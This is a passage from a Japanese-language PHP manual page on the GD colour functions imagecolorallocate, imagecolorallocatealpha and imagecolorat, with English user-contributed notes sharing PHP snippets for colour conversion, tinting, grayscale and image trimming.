    if ($B>255) $B=255;

    return array((int)$R,(int)$G,(int)$B);
}
?>
mv at brazil dot com 15-Mar-2005 11:34
<?php

/**
 * Create a image bar using lib GD
 * Ege. <img src="color_sample.php?color=FF0000" width="10 height="30">
 */

// Split the HTML color representation
$hexcolor = str_split($_GET["color"], 2);

// Convert HEX values to DECIMAL
$bincolor[0] = hexdec("0x{$hexcolor[0]}");
$bincolor[1] = hexdec("0x{$hexcolor[1]}");
$bincolor[2] = hexdec("0x{$hexcolor[2]}");

$im = ImageCreate(100, 100);
$colorallocate = ImageColorAllocate($im, $bincolor[0], $bincolor[1], $bincolor[2]);
ImageFilledRectangle($im, 0, 0, 100, 100, $colorallocate);
header('Content-Type: image/png');
ImagePNG($im);

?>
18-Jan-2005 02:23
When you are using truecolor images, you can also use bitwise operations to generate the color:
<?php
$color = ($r << 16) | ($g << 8) | $b; // 2261213
?>
This is identical to the imagecolorallocate() function, in truecolor images!
aaron at parecki dot com 22-Dec-2004 02:10
This will let you tint an image to any specific color. The blacks of the source image become your specified color, and the whites remain white. Works best for colorizing greyscale images.

<?php

$r = 224;
$g = 192;
$b = 0;
$source_file = "picture.jpg";

$im_src = ImageCreateFromJpeg($source_file);
$im_tint = ImageCreate(imagesx($im_src),imagesy($im_src));
for ($c = 0; $c < 255; $c++) {
     ImageColorAllocate($im_tint, max($r,$c), max($g,$c), max($b,$c));
}
ImageCopyMerge($im_tint,$im_src,0,0,0,0, imagesx($im_src), imagesy($im_src), 100);
ImageDestroy($im_src);

header("Content-type: image/jpeg");
imagejpeg($im_tint);

?>
tyberis 28-Nov-2004 04:58
2 functions to convert from HSV colorspace (hue/saturation/brightness) to RGB (red/green/blue) colorspace and back.
<?php
// $c = array($red, $green, $blue)
// $red=[0..1], $green=[0..1], $blue=[0..1];
function rgb2hsv($c) {
 list($r,$g,$b)=$c;
 $v=max($r,$g,$b);
 $t=min($r,$g,$b);
 $s=($v==0)?0:($v-$t)/$v;
 if ($s==0)
  $h=-1;
 else {
  $a=$v-$t;
  $cr=($v-$r)/$a;
  $cg=($v-$g)/$a;
  $cb=($v-$b)/$a;
  $h=($r==$v)?$cb-$cg:(($g==$v)?2+$cr-$cb:(($b==$v)?$h=4+$cg-$cr:0));
  $h=60*$h;
  $h=($h<0)?$h+360:$h;
 }
 return array($h,$s,$v);
}

// $c = array($hue, $saturation, $brightness)
// $hue=[0..360], $saturation=[0..1], $brightness=[0..1]
function hsv2rgb($c) {
 list($h,$s,$v)=$c;
 if ($s==0)
  return array($v,$v,$v);
 else {
  $h=($h%=360)/60;
  $i=floor($h);
  $f=$h-$i;
  $q[0]=$q[1]=$v*(1-$s);
  $q[2]=$v*(1-$s*(1-$f));
  $q[3]=$q[4]=$v;
  $q[5]=$v*(1-$s*$f);
  //return(array($q[($i+4)%5],$q[($i+2)%5],$q[$i%5]));
  return(array($q[($i+4)%6],$q[($i+2)%6],$q[$i%6])); //[1]
 }
}
?>

[1] - EDITOR NOTE: THIS IS A FIX FROM "hc at hob(removethis)soft dot net".
smoli at paranoya dot ch 19-Jul-2004 11:10
Some of you maybe want to use HSV color model for drawing color selectors and circles:

<?php
  function &colormap_hsv_to_rgb($h, $s, $v)
  {
    $ret = new stdClass();

    if($s == 0)
    {
      $ret->r = $v;
      $ret->g = $v;
      $ret->b = $v;

      return $ret;
    }
    else
    {
      $h = floatval($h) / 255.0;
      $s = floatval($s) / 255.0;
      $v = floatval($v) / 255.0;

      $hue = $h;

      if($hue == 1.0)
        $hue = 0.0;

      $hue *= 6.0;

      $i = intval($hue);
      $f = $hue - floatval($i);
      $w = $v * (1.0 - $s);
      $q = $v * (1.0 - ($s * $f));
      $t = $v * (1.0 - ($s * (1.0 - $f)));

      switch($i)
      {
         case 0: $ret->r = $v; $ret->g = $t; $ret->b = $w; break;
         case 1: $ret->r = $q; $ret->g = $v; $ret->b = $w; break;
         case 2: $ret->r = $w; $ret->g = $v; $ret->b = $t; break;
         case 3: $ret->r = $w; $ret->g = $q; $ret->b = $v; break;
         case 4: $ret->r = $t; $ret->g = $w; $ret->b = $v; break;
         case 5: $ret->r = $v; $ret->g = $w; $ret->b = $q; break;
      }
    }

    $ret->r = intval($ret->r * 255.0);
    $ret->g = intval($ret->g * 255.0);
    $ret->b = intval($ret->b * 255.0);

    return $ret;
  }
?>
jernberg at fairytale dot se 05-Mar-2004 10:43
this might help someone, how to allocate an color from an html color-definition:

<?php
$fg = "#ff0080";

$red = 100;
$green = 100;
$blue = 100;
if( eregi( "[#]?([0-9a-f]{2})([0-9a-f]{2})([0-9a-f]{2})", $fg, $ret ) )
{
    $red = hexdec( $ret[1] );
    $green = hexdec( $ret[2] );
    $blue = hexdec( $ret[3] );
}

$text_color = ImageColorAllocate( $img1, $red, $green, $blue );
?>
chris at drunkenpirates dot co dot uk 13-Sep-2003 05:44
<?php

/*
An example combining the use of ImageColorAllocate, Imagesetpixel, Imagecopyresized and some basic Trig
*/

Header("Content-type: image/png");

$height = 128;
$width = 128;

$imA = ImageCreate($width, $height);
$imB = ImageCreate($width*4, $height*4);
$bckA = ImageColorAllocate($imA, 0,0,0);
$bckB = ImageColorAllocate($imB, 0,0,0);

//GENERATE GRAY SCALE PALLETE

for($c=0;$c<256;$c++){
                ImageColorAllocate($imA, $c, $c, $c);
                }

//PRODUCE DATA

$m=rand(0,10);
for($c=0;$c<128;$c++){
                $s=  (sin( deg2rad($c*360*$m/128) )+1)*127;
                $col_arr[$c]=$s;
                }
for($y=0;$y<$height;$y++){
        for($x=0;$x<$width;$x++){
                $imgA[$x][$y]=$col_arr[$x];
                }
        }
for($y=0;$y<$height;$y++){
        for($x=0;$x<$width;$x++){
                $imgB[$x][$y]=$col_arr[$y];
                }
        }

//SET PIXELS

for($y=0;$y<$height;$y++){
        for($x=0;$x<$width;$x++){
                $imgC[$x][$y]=$imgA[$x][$y]+$imgB[$x][$y];
                $s=$imgC[$x][$y]/2;
                Imagesetpixel($imA,$x,$y,$s);
                }
        }

//RESIZE IMAGE FOR DISPLAY

Imagecopyresized ($imB, $imA, 0, 0, 0, 0, $width*4, $height*4, $width, $width);
ImagePNG($imB);
?>
leif at harmsen dot net 15-Apr-2003 07:31
I was unable to get any of the posted methods for converting colour to grayscale to work.  The problem appears to be the way gd creates images from jpeg inconsistently over various versions.  Eventually I wrote my own that works for me - this approach allocates the 256 color pallete first.  You can also play with separate $r, $g, $b variables before using imagecolorallocate in order to tone or tint the image.

<?php
$resource = 'whatever.jpg';
$im_size = GetImageSize($resource);
$imageWidth = $im_size[0];
$imageHeight = $im_size[1];
$im = imageCreate($imageWidth,$imageHeight);
for ($c = 0; $c < 256; $c++) {
     ImageColorAllocate($im, $c,$c,$c);
}
$im2 = ImageCreateFromJpeg($resource);
ImageCopyMerge($im,$im2,0,0,0,0, $imageWidth, $imageHeight, 100);
ImageDestroy($im2);
?>

go on using $im as your image, it is now grayscale ....
bisqwit at iki dot fi 16-Feb-2002 08:30
Actually, you can't allocate more than 256 colours for an paletted image (ImageCreate).
Use ImageCreateTrueColor instead. For it to work, you need libgd version 2 support in php though.


画像で使用する色を透過度を指定して作成する

  • ≪ imagecolorallocate
  • imagecolorat ≫
  • PHP Manual
  • GD および Image 関数
  • 画像で使用する色を透過度を指定して作成する

imagecolorallocatealpha

(PHP 4 >= 4.3.2, PHP 5, PHP 7, PHP 8)

imagecolorallocatealpha — 画像で使用する色を透過度を指定して作成する

説明

imagecolorallocatealpha ( resource $image , int $red , int $green , int $blue , int $alpha ) : int

imagecolorallocatealpha() は、 透明度を指定するパラメータ alpha が追加されている以外は imagecolorallocate() と等価です。

パラメータ

image

imagecreatetruecolor() のような画像作成関数が返す画像リソース。

red

赤コンポーネントの値。

green

緑コンポーネントの値。

blue

青コンポーネントの値。

alpha

0 から 127 までの値。 0 は完全に不透明な状態。 127 は完全に透明な状態を表します。

パラメータ red、green および blue には、 0 から 255 までの整数値か 0x00 から 0xFF までの十六進値を指定します。

返り値

色 ID、あるいは作成に失敗した場合に false を返します。

警告

この関数は論理値 false を返す可能性がありますが、false として評価される値を返す可能性もあります。 詳細については 論理値の セクションを参照してください。この関数の返り値を調べるには ===演算子 を 使用してください。

例

例1 imagecolorallocatealpha() の使用例

<?php
$size = 300;
$image=imagecreatetruecolor($size, $size);

// 白い背景で黒いふちどりにします
$back = imagecolorallocate($image, 255, 255, 255);
$border = imagecolorallocate($image, 0, 0, 0);
imagefilledrectangle($image, 0, 0, $size - 1, $size - 1, $back);
imagerectangle($image, 0, 0, $size - 1, $size - 1, $border);

$yellow_x = 100;
$yellow_y = 75;
$red_x    = 120;
$red_y    = 165;
$blue_x   = 187;
$blue_y   = 125;
$radius   = 150;

// alpha 値を指定して色を作成します
$yellow = imagecolorallocatealpha($image, 255, 255, 0, 75);
$red    = imagecolorallocatealpha($image, 255, 0, 0, 75);
$blue   = imagecolorallocatealpha($image, 0, 0, 255, 75);

// 3つの重なる円を描きます
imagefilledellipse($image, $yellow_x, $yellow_y, $radius, $radius, $yellow);
imagefilledellipse($image, $red_x, $red_y, $radius, $radius, $red);
imagefilledellipse($image, $blue_x, $blue_y, $radius, $radius, $blue);

// 正しいヘッダを出力するのを忘れないように!
header('Content-Type: image/png');

// 最後に、結果を出力します
imagepng($image);
imagedestroy($image);
?>

上の例の出力は、 たとえば以下のようになります。

出力例 : imagecolorallocatealpha 関数の使用例

例2 imagecolorallocatealpha() 関数を使い、典型的なアルファ値を変換する

アルファの値を 0 にすると、通常は完全に透過なピクセルが指定されますし、 アルファチャネルは 8bit です。このようなアルファ値を imagecolorallocatealpha() 関数と互換性がある値に変換するには、 いくつか簡単な計算をすれば十分です:

<?php
$alpha8 = 0; // 完全に透過
var_dump(127 - ($alpha8 >> 1));
$alpha8 = 255; // 完全に不透明
var_dump(127 - ($alpha8 >> 1));
?>

上の例の出力は以下となります。

int(127)
int(0)

参考

  • imagecolorallocate() - 画像で使用する色を作成する
  • imagecolordeallocate() - イメージの色リソースを開放する

User Contributed Notes

Brett G 22-Sep-2015 10:30
When working with transparency, avoid imagecreate() and use imagecreatetruecolor() instead. Transparency effects may not work as expected within a palette-based image.
fjoggen at gmail dot com 29-Nov-2007 07:19
If you need to calculate the integer representation of a color with an alpha channel, without initialising an image and using the imagecolorallocatealpha function. Then this function might be of some help:

<?php
function alphaColor($hexColor,$alpha)
{
        return bindec(decbin($alpha).decbin(hexdec($hexColor));
}

echo alphaColor("FFFFFF",127);
?>
eric (at) junioronline.us 25-Jan-2006 01:41
If you only wish to extract the alpha value for a color, you can simply extract it like so:

<?php

    $color = imagecolorat($im, 50, 50);
    $alpha = $color >> 24;

?>

It actually shifts off the first 24 bits (where 8x3 are used for each color), and returns the remaining 7 allocated bits (commonly used for alpha)


ピクセルの色のインデックスを取得する

  • ≪ imagecolorallocatealpha
  • imagecolorclosest ≫
  • PHP Manual
  • GD および Image 関数
  • ピクセルの色のインデックスを取得する

imagecolorat

(PHP 4, PHP 5, PHP 7, PHP 8)

imagecolorat — ピクセルの色のインデックスを取得する

説明

imagecolorat ( resource $image , int $x , int $y ) : int|false

imageで指定された画像上の 特定位置にあるピクセルの色のインデックスを返します。

画像が True カラーイメージである場合、この関数はそのピクセルの RGB 値を整数で返します。 赤、緑、青のそれぞれの値にアクセスするにはビットシフトとマスキングを利用してください:

パラメータ

image

imagecreatetruecolor() のような画像作成関数が返す画像リソース。

x

点の x 座標。

y

点の y 座標。

返り値

色のインデックスを返します。失敗した場合に false を返します

警告

この関数は論理値 false を返す可能性がありますが、false として評価される値を返す可能性もあります。 詳細については 論理値の セクションを参照してください。この関数の返り値を調べるには ===演算子 を 使用してください。

例

例1 個々の RGB 値へのアクセス

<?php
$im = imagecreatefrompng("php.png");
$rgb = imagecolorat($im, 10, 15);
$r = ($rgb >> 16) & 0xFF;
$g = ($rgb >> 8) & 0xFF;
$b = $rgb & 0xFF;

var_dump($r, $g, $b);
?>

上の例の出力は、 たとえば以下のようになります。

int(119)
int(123)
int(180)

例2 imagecolorsforindex() による可読形式の RGB 値

<?php
$im = imagecreatefrompng("php.png");
$rgb = imagecolorat($im, 10, 15);

$colors = imagecolorsforindex($im, $rgb);

var_dump($colors);
?>

上の例の出力は、 たとえば以下のようになります。

array(4) {
  ["red"]=>
  int(119)
  ["green"]=>
  int(123)
  ["blue"]=>
  int(180)
  ["alpha"]=>
  int(127)
}

参考

  • imagecolorset() - 指定したパレットインデックスの色を設定する
  • imagecolorsforindex() - カラーインデックスからカラーを取得する
  • imagesetpixel() - 点を生成する

User Contributed Notes

Ray.Paseur sometimes uses Gmail 04-Feb-2017 02:35
imageColorAt() issues a Notice and returns FALSE for pixel coordinates that are out of bounds.
Levi Cole 31-Jul-2015 06:54
So I have written the most pointless use I could think of for this function (imagecolorat).

Basically it converts every pixel in the given image for an <i> tag. You can set the rendered pixel size with $p

<?php
    $p = 4; // Set pixel width/height
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Image to DOM</title>
    <style>
        .canvas {position: relative;}
        .pixel {width: <?= 1*$p; ?>px; height: <?= 1*$p; ?>px; position: absolute; display: block;}
    </style>
</head>
<body>

    <form action="/" method="post" enctype="multipart/form-data">
        <input type="file" name="image">
        <input type="submit">
    </form>

    <?php
        if ($_FILES) {
            $post_img = $_FILES['image'];
            $filename = $post_img['name'];
            $tmp_img = $post_img['tmp_name'];

            if(preg_match('/[.](jpg)$/', $filename)) {
                $img = imagecreatefromjpeg($tmp_img);
            } else if (preg_match('/[.](gif)$/', $filename)) {
                $img = imagecreatefromgif($tmp_img);
            } else if (preg_match('/[.](png)$/', $filename)) {
                $img = imagecreatefrompng($tmp_img);
            }

            list($width, $height) = getimagesize($tmp_img);

            echo '<div class="canvas" style="width: '.$width*$p.'px; height: '.$height*$p.'px;">';
            for ($i = 0; $i < $height; $i++) {
                $y = $i; // Get Y coords
                for ($j = 0; $j < $width; $j++) {
                    $x = $j; // Get X coords

                    $rgb = imagecolorat($img, $x, $y); // Get pixel color
                    $rgba = imagecolorsforindex($img, $rgb);
                    unset($rgba['alpha']); // Remove Alpha channel

                    $bg_color = implode(', ', $rgba);
                    ?>
                        <i class="pixel" style="background: rgb(<?= $bg_color; ?>); top: <?= $i*$p; ?>px; left: <?= $j*$p; ?>px;"></i>
                    <?php
                }
            }
            echo '</div>';
        }
    ?>

</body>
</html>
dewi at dewimorgan dot com 24-Aug-2014 10:00
To test whether to handle the return value of this function as RGB or a palette index, see either imageistruecolor(), or (for GD < 2.0.1, or PHP 4 < 4.3.2) imagecolorstotal() == 0.

It seems that a number of comments here take many lines to convert RGB or RGBA values to hex strings #AARRGGBB. This is a one-liner in most cases:

$hex = sprintf("#%08X", imagecolorat($im32, $x, $y));
$hex = sprintf("#%08X", $rgb);
$hex = sprintf("#%08X", $argb);
$hex = sprintf("#%02X%06X", $rgba >> 24, $rgba & 0xFF000000);
$hex = sprintf("#00%02X%02X%02X", $r, $g, $b);
$hex = sprintf("#%02X%02X%02X%02X", $a, $r, $g, $b);

For paletted images, it's two lines:
$cols = imagecolorsforindex($imPal, imagecolorat($imPal, $x, $y));
$hex = sprintf("#%08X", $cols['alpha'], $cols['red'], $cols['green'], $cols['blue']);
justin at hoogs dot com dot au 21-Oct-2013 02:05
This improves upon to my previous function (which only really worked on a few greyscale colours). Colour should now be a hexadecimal colour value. Colour and tolerance are now optional parameters.

trimImage ( resource $image [, str $colour [, int $tolerance]] )

trimImage() will return top-most, right-most, bottom-most and left-most positions of wanted pixels for an image (i.e. find minimum image area so you can then trim given colour from the outer edges of an image).

Parameters

image
An image resource, returned by one of the image creation functions, such as imagecreatetruecolor().

colour
Hexadecimal value of colour to be 'trimmed'.  If omitted the top/left corner colour will be used as default.

tolerance
Acceptable range +- from colour.  Allowable range 0 to 255. If omitted 10 will be used as default.

Return Values
Returns an array of outermost pixels which are beyond the tolerance range from colour.
array( int $top, int $right, int $bottom, int $left )

function trimImage($im,$c=null,$t=10) {
  // if hex colour ($c) exists attempt to convert to decimal
  if ($c) $rgb = @hexdec($c);
  // if hexdec failed to get a value between black (0) and white (16777215)
  // grab the colour from the top left corner (2 pixels in to avoid messy edges)
  if (!is_numeric($rgb) || $rgb < 0 || $rgb > 16777215) $rgb = imagecolorat($im, 2, 2);
  // split $rgb into red, green and blue
  $r = ($rgb >> 16) & 0xFF;
  $g = ($rgb >> 8) & 0xFF;
  $b = $rgb & 0xFF;
  // make sure tolerance ($t) is a number between 0 - 255
  if (!is_numeric($t) || $t < 0) $t = 0;
  elseif ($t > 255) $t = 255;

  $w = imagesx($im); $h = imagesy($im); // image width and height
  for($x = 0; $x < $w; $x++) {
    for($y = 0; $y < $h; $y++) {
      $rgb = imagecolorat($im, $x, $y);
      $red = ($rgb >> 16) & 0xFF;
      $grn = ($rgb >> 8) & 0xFF;
      $blu = $rgb & 0xFF;
      if (
        $red < $r-$t || $red > $r+$t || // not trim red (nor within tolerance)
        $grn < $g-$t || $grn > $g+$t || // not trim green (nor within tolerance)
        $blu < $b-$t || $blu > $b+$t // not trim blue (nor within tolerance)
      ) {
        $y_axis[$y] = $y; $x_axis[$x] = $x; // wanted pixel coordinates stored
      }
    }
  }
  if (!$y_axis) $y_axis = $x_axis = array(0); // avoid errors if all pixels are trimmed
  // sort so first and last occurances are at start and end
  sort($y_axis); sort($x_axis);

  $t = array_shift($y_axis); // first wanted pixel on Y axis (top)
  $r = array_pop($x_axis); // last wanted pixel on X axis (right)
  $b = array_pop($y_axis); // last wanted pixel on Y axis (bottom)
  $l = array_shift($x_axis); // first wanted pixel on X axis (left)

  return array($t,$r,$b,$l);
}
justin at hoogs dot com dot au 19-Mar-2012 03:48
trimImage ( resource $image , int $colour , int $tolerance )

trimImage() will return top-most, right-most, bottom-most and left-most positions of wanted pixels for an image (i.e. find minimum image area so you can then trim given colour from the outer edges of an image).

Parameters

image
An image resource, returned by one of the image creation functions, such as imagecreatetruecolor().

colour
colour to be 'trimmed'.  Allowable range 0 (black) to 255 (white).  if null (or outside 0 - 255) will use top/left corner colour as default.

tolerance
Acceptable range +- from colour.  0 (trim only exact colour) to 255 (trim all colours).

Return Values
Returns an array of outermost pixels which are outside the tolerance range from colour.
array( int $top, int $right, int $bottom, int $left )

Example (and actual function)
<?php
function trimImage($im,$c,$t) {
  // if trim colour ($c) isn't a number between 0 - 255
  if (!is_numeric($c) || $c < 0 || $c > 255) {
    // grab the colour from the top left corner and use that as default
    $rgb = imagecolorat($im, 2, 2); // 2 pixels in to avoid messy edges
    $r = ($rgb >> 16) & 0xFF;
    $g = ($rgb >> 8) & 0xFF;
    $b = $rgb & 0xFF;
    $c = round(($r+$g+$b)/3); // average of rgb is good enough for a default
  }
  // if tolerance ($t) isn't a number between 0 - 255 use 10 as default
  if (!is_numeric($t) || $t < 0 || $t > 255) $t = 10;

  $w = imagesx($im); // image width
  $h = imagesy($im); // image height
  for($x = 0; $x < $w; $x++) {
    for($y = 0; $y < $h; $y++) {
      $rgb = imagecolorat($im, $x, $y);
      $r = ($rgb >> 16) & 0xFF;
      $g = ($rgb >> 8) & 0xFF;
      $b = $rgb & 0xFF;
      if (
      ($r < $c-$t || $r > $c+$t) && // red not within tolerance of trim colour
      ($g < $c-$t || $g > $c+$t) && // green not within tolerance of trim colour
      ($b < $c-$t || $b > $c+$t) // blue not within tolerance of trim colour
      ) {
        // using x and y as keys condenses all rows and all columns
        // into just one X array and one Y array.
        // however, the keys are treated as literal and therefore are not in
        // numeric order, so we need to sort them in order to get the first
        // and last X and Y occurances of wanted pixels.
        // normal sorting will remove keys so we also use x and y as values,
        // this way they are still available without preserving keys.
        $y_axis[$y] = $y;
        $x_axis[$x] = $x;
        // note: $y_axis[] = $y; and $x_axis[] = $x; works just as well
        // but results in much much larger arrays than is necessary
        // array_unique would reduce size again but this method is quicker
      }
    }
  }
  // sort them so first and last occurances are at start and end
  sort($y_axis);
  sort($x_axis);

  $top = array_shift($y_axis); // first wanted pixel on Y axis
  $right = array_pop($x_axis); // last wanted pixel on X axis
  $bottom = array_pop($y_axis); // last wanted pixel on Y axis
  $left = array_shift($x_axis); // first wanted pixel on X axis

  return array($top,$right,$bottom,$left);
}

$image='test.jpg';
$im = imagecreatefromjpeg($image); // we need resource

$c = (isset($_GET[c])) ? $_GET[c] : null; // set trim colour via GET
$t = (isset($_GET[t])) ? $_GET[t] : null; // set tolerance via GET

list($t,$r,$b,$l) = trimImage($im,$c,$t); // find top, right, bottom and left

$w = $r-$l; // find width
$h = $b-$t; // find height

imagedestroy($im); // free resource

// below is just for visually testing function ---------------------------------

$html_display = <<<HTM

<style type="text/css">
#stage {
  position: relative;
  float: left; // so it is the same size as the image it contains
}
#canvas {
  border: solid 1px #FC3;
  width: {$w}px;
  height: {$h}px;
  position: absolute;
  top: {$t}px;
  left: {$l}px;
}
img { border: solid 1px #EEE; }
</style>

HTM;

?>
<html>
<head>
<?=$html_display?>
</head>

<body>
<div id="stage">
  <div id="canvas"></div>
  <img src="test.jpg" />
</div>

</body>
</html>
chandrachur at elegantsystems dot net 28-Mar-2011 01:53
Here is a fun code for making images with white bg transparent. Well it can work with any bg but you need to adjust the color values accordingly. Works best with plain dual colors. I searched for this kind of code a lot but unable to find one ...see if this helps someone.

<?php

function transparentImage($src){  //making images with white bg transparent
$r1=80;
$g1=80;
$b1=80;
for($x = 0; $x < imagesx($src); ++$x)
        {
            for($y = 0; $y < imagesy($src); ++$y)
            {
                $color=imagecolorat($src, $x, $y);
                $r = ($color >> 16) & 0xFF;
                $g = ($color >> 8) & 0xFF;
                $b = $color & 0xFF;
                for($i=0;$i<270;$i++){
                    if($r.$g.$b==($r1+$i).($g1+$i).($b1+$i)){
                        $trans_colour = imagecolorallocatealpha($src, 0, 0, 0, 127);
                        imagefill($src, $x, $y, $trans_colour);
                    }
                }
            }
        }

        return $src;
}

$image='abc/abc.jpg';
$src = imagecreatefromjpeg($image);
$src=transparentImage($src); //Lets make the jpegs transparent

?>
Kae Cyphet 08-Feb-2011 05:02
If you are getting inconsistent results or results that dont make any sense when trying to retrieve a black pixel eg:

(Red,Green,Blue)
0,0,0
0,0,0
0,0,2
0,0,4
0,0,6
0,0,7
0,0,0
0,0,10
0,0,8
0,0,9
0,0,0
0,0,12
0,0,13
0,0,0

switch from using imagecreate() to imagecreatetruecolor()

issue found when creating a graph where a pixel would increase in color based on the previous color and new data.
madtrader117 at gmail dot com 08-Aug-2010 07:51
Here's a function I made for finding the size of the black border surrounding some movie thumbnails where the movie itself has had black padding added in order to maintain aspect ratio.

<?php
    define("DEBUG_OUT",TRUE);
    $border_size = find_border_size($path);
    print_r($border_size);
    /*
     * $border = max(find_border_size("img.jpg"));
     * $thumb_size_x = 180+(2*$border);
     * $thumb_size_y = 240+(2*$border);
     * $thumb_size = $thumb_size_x . "x" . $thumb_size_y; (String to use in the -s param of ffmpeg)
     * $crop_cmd = "-croptop $border -cropbottom $border -cropright $border -cropleft $border";
     */
    function find_border_size($path)
    {
        /* The pad var is essentially a 'feather' value. Unless one of the RGB values rises
         * above $pad we are saying to continue. You can try different values but with 10 I
         * would still get a decent sized border due to the bleedover of the movie into
         * the hat.
         */
        $pad = 20;
        $border_y = 0;
        $border_x = 0;

        if(!file_exists($path))
        {
            if(DEBUG_OUT) echo("Error: $path not found.\n");
            return FALSE;
        }
        else
        {
            if(DEBUG_OUT) echo("Opening: $path ...\n");
        }
        $im = @imagecreatefromjpeg($path);
        if(!$im) return FALSE;
        $height = imagesy($im);
        $width = imagesx($im);

        /* Let's start at 0, 0 and keep going till we hit a color */
        if(DEBUG_OUT) echo("Image - Height: $height / Width: $width\n");
        /* Border Height(Y) */
        $center_width = ceil($width/2);
        for($i=0; $i<$height; $i++)
        {
            $rgb = imagecolorat($im,$center_width,$i);
            $r = ($rgb >> 16) & 0xFF;
            $g = ($rgb >> 8) & 0xFF;
            $b = $rgb & 0xFF;
            if(DEBUG_OUT) echo("Height: ($center_width,$i) R: $r / G: $g / B: $b\n");
            if($r >= $pad || $g >= $pad || $b >= $pad)
            {
                $border_y = $i;
                if($border_y == $height) $border_y = 0;
                break;
            }
        }

        /* Border Width(X) */
        $center_height = ceil($height/2);
        for($i=0; $i<$width; $i++)
        {
            $rgb = imagecolorat($im,$i,$center_height);
            $r = ($rgb >> 16) & 0xFF;
            $g = ($rgb >> 8) & 0xFF;
            $b = $rgb & 0xFF;
            if(DEBUG_OUT) echo("Width: ($i,$center_width) R: $r / G: $g / B: $b\n");
            if($r >= $pad || $g >= $pad || $b >= $pad)
            {
                $border_x = $i;
                if($border_x == $width) $border_x = 0;
                break;
            }
        }

        /* I am making the border a multiple of 2 since I am sending these values to FFMpeg */
        if($border_x != 0)
        {
            $border_x /= 2;
            $border_x = round($border_x);
            $border_x *= 2;
        }
        if($border_y != 0)
        {
            $border_y /= 2;
            $border_y = round($border_y);
            $border_y *= 2;
        }
        if(DEBUG_OUT) echo("Border Width: $border_x / Border Height: $border_y\n");
        return array($border_x,$border_y);
    }
?>
black at scene-si dot org 18-May-2010 05:39
If an image is filled with a solid color (rgb 0,0,0) the average color will be 0,0,0, and the histogram will have the maximum values at r[0], g[0], and b[0]. Since we remove those values with the tolerance (+- 16), we are only left with colors outside of average.

If the removed colors represent more than 90% of the image (we remove 6.25-12.5% of the histogram based on the average color), then we asume the image is blank.

This detects solid filled images of any color, and with images of very little color variance (blank wall, blue sky with no clouds, nearly faded images, very low contrast and low color range images). The function is perfect for checking if a frame from a video is blank or not (in case you are generating thumbnails).

<?php
function isBlank($gd_resource, $tolerance, $percent)
{
        list($w,$h) = array(imagesx($gd_resource), imagesy($gd_resource));

        $count = 0;
        $hr = $hg = $hb = array();
        for ($i=0; $i<$h; $i++) {
                for ($j=0; $j<$w; $j++) {
                        $pos = imagecolorat($gd_resource, $j, $i);
                        $f = imagecolorsforindex($gd_resource, $pos);
                        $hr[$f['red']] = issetor($hr[$f['red']],0) + 1;
                        $hg[$f['green']] = issetor($hg[$f['green']],0) + 1;
                        $hb[$f['blue']] = issetor($hb[$f['blue']],0) + 1;
                        $count ++;
                }
        }

        $rc = array_sum($hr);
        $gc = array_sum($hg);
        $bc = array_sum($hb);

        $r = $rc/$count;
        $g = $gc/$count;
        $b = $bc/$count;

        $ra = range(max(0,$r-$tolerance), min(255,$r+$tolerance));
        $ga = range(max(0,$g-$tolerance), min(255,$g+$tolerance));
        $ba = range(max(0,$b-$tolerance), min(255,$b+$tolerance));

        foreach ($ra as $rx) {
                unset($hr[$rx]);
        }
        foreach ($ga as $gx) {
                unset($hg[$gx]);
        }
        foreach ($ba as $bx) {
                unset($hb[$bx]);
        }

        $red = floatval(array_sum($hr)+1) / floatval($rc);
        $green = floatval(array_sum($hg)+1) / floatval($gc);
        $blue = floatval(array_sum($hb)+1) / floatval($bc);

        if ($red<$percent && $green<$percent && $blue<$percent) {
                return true;
        }
        return false;
}

// Example;

isBlank($gd_resource, 16, 0.1);

?>
Richard 20-Sep-2008 11:49
With the following functions you can not only convert a 24 bit RGB integer to its corresponding red, green, and blue values, but also 32 bit RGBA integers to its corresponding red, green, blue, and ALPHA values.

Not only that, but I even threw in a function for converting those red, green, blue, and alpha values back into a 32 bit RGBA integer.

Sample usage:
<?php
$int = rgba2int(255, 255, 255, 16);
echo $int . "<br>";
$rgba = int2rgba($int);
print_r($rgba);
?>

What it should output:
285212671
Array
(
    [r] => 255
    [g] => 255
    [b] => 255
    [a] => 16
)

<?php
function rgba2int($r, $g, $b, $a=1) {
    /*
    This function builds a 32 bit integer from 4 values which must be 0-255 (8 bits)
    Example 32 bit integer: 00100000010001000000100000010000
    The first 8 bits define the alpha
    The next 8 bits define the blue
    The next 8 bits define the green
    The next 8 bits define the red
    */
    return ($a << 24) + ($b << 16) + ($g << 8) + $r;
}

function int2rgba($int) {
    $a = ($int >> 24) & 0xFF;
    $r = ($int >> 16) & 0xFF;
    $g = ($int >> 8) & 0xFF;
    $b = $int & 0xFF;
    return array('r'=>$r, 'g'=>$g, 'b'=>$b, 'a'=>$a);
}
?>
Scott Thompson (VBAssassin) 16-Apr-2008 05:02
I've found this function very useful when wanting to manipulate an existing image. An example would be to simply flip an image (source code here: http://www.coderprofile.com/source-code/372/ )

The principle i use a lot is to scan through an image pixel by pixel performing some kind of action on that pixel... and then saving the newly created pixel on to a new canvas ready to display to the browser.

The only problem i find is speed... so some kind of caching mechanism and dimensions limitation on images that are processed is recommended for high traffic use.

Kind regards,
Scott
p h o c i s [a-t] g m a i l c o m 20-Nov-2007 09:47
I believe GD has an issue with transparent mattes and alpha blending. It seems GD thinks that some images have a black matte transparency (meaning that the image is built on a black matte instead of transparent).

And while "alan hogan dot com slash contact" solution does deal with this, the results seem to be... glitchy. you get different results each time you do it, and they are not always the best.

So I made a different solution that, while it looks better on a white background and is consistent, still sort of mangles the image just a bit by merging all blended pixels with the transparent color.

// Load image
$img = imagecreatefrompng('my_broken_png.png');

// Make matte canvas
$matte = imagecreatetruecolor(16,16);
$trans_color = imagecolorallocatealpha($matte,254,254,254,0);
imagefill($matte, 0,0,$trans_color);

// Put the old image on the matte
imagecopy($matte,$img,0,0,0,0,16,16);

// Turn the matte color into full alpha (blended pixels will not be affected)
imagecolortransparent($matte,$trans_color);

// Display image
header('Content-Type: image/gif');
imagegif($matte);
alan hogan dot com slash contact 12-Nov-2007 02:44
As creamdog noted before, the alpha channel IS available from this function! (The manual should probably be updated to include this!)

$rgba = imagecolorat($im,$x,$y);
$alpha = ($rgba & 0x7F000000) >> 24;

$alpha will then contain the TRANSPARENCY (NOT OPACITY) level. So 127, the max, would be completely transparent, and 0 would be completely opaque.

Using this information, it is possible to write a dithering png-to-gif function like the completely working simple one below:

<?php
